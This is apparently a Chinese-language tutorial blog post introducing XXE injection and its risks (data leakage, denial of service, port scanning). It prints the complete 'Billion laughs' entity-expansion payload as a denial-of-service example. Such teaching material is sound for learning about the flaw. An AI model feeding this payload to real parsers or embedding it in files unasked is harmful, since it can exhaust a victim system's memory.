今天要來介紹的是XML External Entity (XXE) injection漏洞,這個漏洞其實跟之前介紹的SQL Injeciton有那麼一點點的相似,差別則是在於SQL Injection是利用竄改SQL語法達到攻擊目的,而XXE Injection則是利用竄改XML語法來達到攻擊的目的。
XXE這個漏洞會在XML引用了來自外部的實體,但卻有沒有過濾引用的是什麼東西,因此有可能會造成受害電腦資料外洩、DoS攻擊或對外進行Port Scan等等。
以下列這段程式碼為例,讀取這段XML的電腦就會導致自己被DoS攻擊,並消耗約3G的記憶體來處理,而這段程式碼也被叫做「Billion laughs」攻擊,因為lol (laugh out loud)在英文是大笑的意思。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
今天先簡單介紹到這裡,明天再介紹挑戰的例子囉!